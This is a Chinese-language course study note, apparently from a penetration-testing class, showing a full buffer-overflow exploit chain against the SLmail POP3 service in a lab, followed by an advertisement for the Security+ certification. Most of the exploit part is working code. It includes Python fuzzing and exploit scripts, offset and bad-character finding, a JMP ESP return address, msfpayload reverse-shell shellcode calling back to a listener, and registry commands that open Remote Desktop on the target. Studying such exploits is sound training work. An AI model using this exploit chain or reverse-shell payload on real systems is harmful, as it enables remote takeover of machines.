数据与代码边界不清,导致程序执行代码

脚本:

#! /bin/bash

echo $1

在终端中运行脚本,参数写;或|加上命令,会被系统执行

源码审计 

逆向工程 对编译后的文件反汇编

模糊测试  安装包,对程序发送数值,监视反馈

SLmail  安装后开放110,25,180,8376端口

Xp上添加smtp的25端口,pop3的110端口

DEP:阻止代码从数据页被执行

ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

脚本框架:

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

print "\nSending evil buffer------"

s.connect(('192.168.1.107',110))

data=s.recv(1024)

print data

s.send('USER IEUser' + '\r\n')

data=s.recv(1024)

print data

s.send('PASS test\r\n')

data=s.recv(1024)

print data

s.close()

print"\nDone!"

except:

print"Can't connect to POP3!"

溢出探测脚本(发送大数据验证):

#! /usr/bin/python

import socket

buffer=["A"]

counter=100

while len(buffer) <= 50:

buffer.append("A"*counter)

counter=counter+200

for string in buffer:

print"Fuzzing PASS with %s bytes " % len(string)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('192.168.1.107',110))

s.recv(1024)

s.send('USER IEUser' + '\r\n')

s.recv(1024)

s.send('PASS '+ string + '\r\n')

s.send('QUIT\r\n')

s.close()

EIP寄存器:下一条指令要执行的地址

内存高位存低地址,低位存高地址,如(内存38443950则为50 39 44 38)

SLmail的PASS命令存在缓冲区溢出漏洞

accd4dfd5ba6175c7a889023e211b819.png

需要找到精确溢出的 4 个字节

二分法

脚本:

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer='A'*2700

try:

print "\nSending evil buffer------"

s.connect(('192.168.1.107',110))

data=s.recv(1024)

s.send('USER IEUser' + '\r\n')

data=s.recv(1024)

s.send('PASS ' + buffer + '\r\n')

data=s.recv(1024)

s.close()

print"\nDone!"

except:

print"Can't connect to POP3!"

唯一字串法

usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2700  (msf框架里的脚本,生成2700长度的唯一字符串)

pattern_offset.rb 十六进制串   计算对应串在唯一字符串中的偏移量

0eddb7e2bb3c6d7cbab284cbc70338a2.png

可从2607开始填进***代码

修改EIP寄存器为ESP地址,ESP寄存器中存放***代码

脚本(计算ESP寄存器大小):

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer='A'*2606+'B'*4+'C'*400

try:

print "\nSending evil buffer------"

s.connect(('192.168.1.107',110))

data=s.recv(1024)

s.send('USER IEUser' + '\r\n')

data=s.recv(1024)

s.send('PASS ' + buffer + '\r\n')

s.close()

print"\nDone!"

except:

print"Can't connect to POP3!"9cbaa7a40002c8ba67fd34f8edb3aee8.png

通过地址计算ESP寄存器大小

思路:

将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取 EIP 寄存器数值,将跳转到 shellcode 代码段并执行;

不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途

返回地址、Shellcode、buffer中都不能出现坏字符

255个字符,\x01~\xf1,\x02~\xf2,\x03~\xf3…..\x0f~\xff,\x00~\xf0

null byte (0x00) 空字符,用于终止字符串的拷贝操作

return (0x0D) 回车操作,表示POP3 PASS 命令输入完成

思路:发送0x00 —— 0xff 256个字符,查找所有坏字符

重定向数据流

用 ESP 的地址替换 EIP 的值

但是 ESP 地址变化,硬编码不可行

SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定

变通思路

在内存中寻找地址固定的系统模块

在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode

mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块

寻找无DEP、ALSR保护的内存地址

内存地址不包含坏字符

要找到没有保护机制而且系统自带的

寻找不受保护的系统模块 !mona modules

将汇编指令 jmp esp 转换为二进制

./nasm_shell

FFE4

在模块中搜索 FFE4 指令

!mona find -s “\xff\xe4” -m slmfc.dll

选择不包含坏字符的内存地址

在该地址设置断点

重发bufferf756fa55bd0fdb8893e2211c66c2ad94.png

用kali的工具将二进制指令转换成二进制:b313862f74ca47a69931722d93d6eefa.png

FFE4

b797c304de0954e28aa876d3d8f254f1.png

b2dcf1463c480b2c599999a4462495e7.png

必须要有可执行权限来绕过DEP防护

5F4B41E3

脚本:

#! /usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer='A'*2606+'\xe3\x41\x4b\x5f'+'C'*390

try:

print "\nSending evil buffer------"

s.connect(('192.168.1.107',110))

data=s.recv(1024)

s.send('USER IEUser' + '\r\n')

data=s.recv(1024)

s.send('PASS ' + buffer + '\r\n')

s.close()

print"\nDone!"

except:

print"Can't connect to POP3!"

07ada1bb5f2aa44f837fa720aa6a684b.png

现跳转

生成shellcode

Scratch

./msfpayload -l

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C  

./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”  对程序编码,去掉坏字符,编码R时必须要用R

nc-vlp 443  监听444端口1b6a6e9c638bf82769c25aa4c9428924.png10fc964cc2fbeaa9f21e00ce1d11be36.png-wh_

buffer='A'*2606+'\xe3\x41\x4b\x5f'+'\x90'*8+shellcode  \x90表示什么也不做,防止shellcode前面几个字符被过滤

55ce2109c13963eb87279516373571fe.png

已经getshell

Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;./msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”

获取远程桌面控制权:

echo Windows Registry Editor Version 5.00>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

shutdown -r -t 0  重启电脑

重启后允许远程桌面设置被打开

kali安装rdesktop后,执行rdesktop 192.168.1.107

regsnap工具可以将注册表快照,修改注册表后再抓取快照,可判断注册表键值位置

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?


      牛妹先给大家介绍一下Security+


        Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

       通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?  

       原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

      目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

       原因二: IT运维人员工作与翻身的利器。

       在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

        原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

        在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。